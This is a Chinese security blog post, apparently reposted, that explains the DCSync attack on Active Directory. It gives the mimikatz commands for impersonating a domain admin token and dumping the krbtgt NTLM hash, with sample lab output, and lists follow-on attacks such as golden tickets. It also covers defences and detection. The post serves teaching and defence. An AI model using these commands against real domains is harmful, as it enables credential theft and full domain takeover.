文章总结： 本文介绍DCSync攻击技术，通过模拟域控复制行为获取用户密码哈希。文章详细阐述了攻击原理、所需权限及利用mimikatz进行Token冒充并导出krbtgt哈希的实战流程。同时分析了凭据泄露后的黄金票据等风险，并提出了限制复制权限、减少高权限账户暴露、加强日志监控及定期重置krbtgt密码等防御建议。
综合评分： 84
文章分类： 渗透测试,内网渗透,红队,安全工具

使用 DCSync 匹配并获取域用户凭据

原创

寰宇秘阁
寰宇秘阁

寰宇密阁

2026年3月13日 10:03
安徽

在 Active Directory 攻防中，如果攻击者已经获得了较高权限，却暂时无法导出明文密码或有效 Token，DCSync 往往是一条极具威胁性的攻击路径。
通过模拟域控制器之间的复制行为，攻击者可以直接向域控请求用户的密码哈希，从而绕过对单台主机的限制。

本文将介绍：

• 什么是 DCSync
• DCSync 在 MITRE ATT&CK 中的位置
• 使用 mimikatz + Token 冒充实施 DCSync 的基本流程
• 获取关键账户（如 krbtgt）哈希后的风险
• 防御与检测思路

一、什么是 DCSync？

DCSync 是一种模拟 域控制器（DC）复制机制 的技术。

在正常情况下：

• 域控制器之间会通过复制协议（如 DRSUAPI）同步账户信息
• 其中包括 密码哈希、Kerberos 密钥等高价值数据

而 DCSync 攻击的核心思想是：

冒充“合法域控制器”，主动向 DC 请求复制数据

二、谁有权限使用 DCSync？

并不是任何账户都能执行 DCSync，请求复制数据的主体必须具备较高权限，包括：

• Domain Admins（域管理员）
• Enterprise Admins（企业管理员）
• Administrators
• 域控制器的计算机账户

这也是为什么 DCSync 经常出现在高权限后渗透阶段。

在 MITRE ATT&CK 框架中，DCSync 被归类为：

T1003.006 – OS Credential Dumping: DCSync

三、实验场景说明

本示例基于如下前提条件：

• 目标环境：Windows Server 2016
• 攻击者已获得服务器本地管理员权限
• 域管理员曾在该服务器上登录
• 工具：mimikatz

目标是：
👉 在不直接登录域控的情况下，从 DC 获取域内账户的密码哈希

四、核心步骤一：提升并复制域管理员 Token

在 mimikatz 中，首先尝试提升并冒充域管理员的登录 Token。

使用 token::elevate 冒充域管理员

mimikatz # token::elevate /domainadmin

示例输出（节选）：

Token Id : 0
User name :
SID name : HSILAB\Domain Admins
...
Impersonation (Impersonation) -> Impersonated !
* Thread Token : HSILAB\domain_admin
Impersonation (Impersonation)

此时，当前线程已经以域管理员的安全上下文运行，但并不等同于真正交互登录。

五、核心步骤二：使用 DCSync 获取域账户哈希

完成 Token 冒充后，就可以直接向域控制器发起 DCSync 请求。

导出 krbtgt 账户的哈希

mimikatz # lsadump::dcsync /user:hsilab\krbtgt

示例输出（节选）：

[DC] 'HSILab.local' will be the domain
[DC] 'dc.HSILab.local' will be the DC server
[DC] 'hsilab\krbtgt' will be the user account
...
SAM Username : krbtgt
Object Relative ID : 502
Credentials:
Hash NTLM: f140b9890a4fead6d8c09b40c10ede17

为什么 krbtgt 如此重要？

• krbtgt 是 Kerberos 认证体系的核心服务账户

• 一旦其 Hash 泄露，可能导致：

• 伪造 Kerberos 凭据

• 长期控制整个域环境

六、获得 Hash 之后能做什么？

从攻击视角来看，DCSync 的价值并不止于“拿到一个哈希”：

• ✅ 离线破解密码（如果口令强度较低）
• ✅ Pass-the-Hash
• ✅ Pass-the-Ticket
• ✅ Golden Ticket 攻击
• ✅ 长期潜伏与持久化控制

这也是为什么 DCSync 被认为是 Active Directory 中最危险的攻击技术之一。

七、防御视角：如何降低 DCSync 风险？

1. 严格控制复制权限

• 定期审计谁拥有以下权限：

• Replicating Directory Changes

• Replicating Directory Changes All

• 绝不将这些权限赋予普通用户或服务账户

2. 减少高权限账户暴露面

• 避免域管理员登录普通成员服务器
• 使用 Tiered Admin / PAW（特权访问工作站）
• 区分日常运维账户与域控管理账户

3. 启用检测与告警

• 启用高级日志审计（Directory Service Access）

• 使用 EDR / SIEM 监控：

• 非 DC 发起的复制请求

• mimikatz 行为特征

• 异常的 DRSUAPI 调用

4. 定期轮换 krbtgt 密码

• 定期 两次连续重置 krbtgt 密码
• 可有效使已有 Golden Ticket 失效

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：寰宇密阁 寰宇秘阁
寰宇秘阁《使用 DCSync 匹配并获取域用户凭据》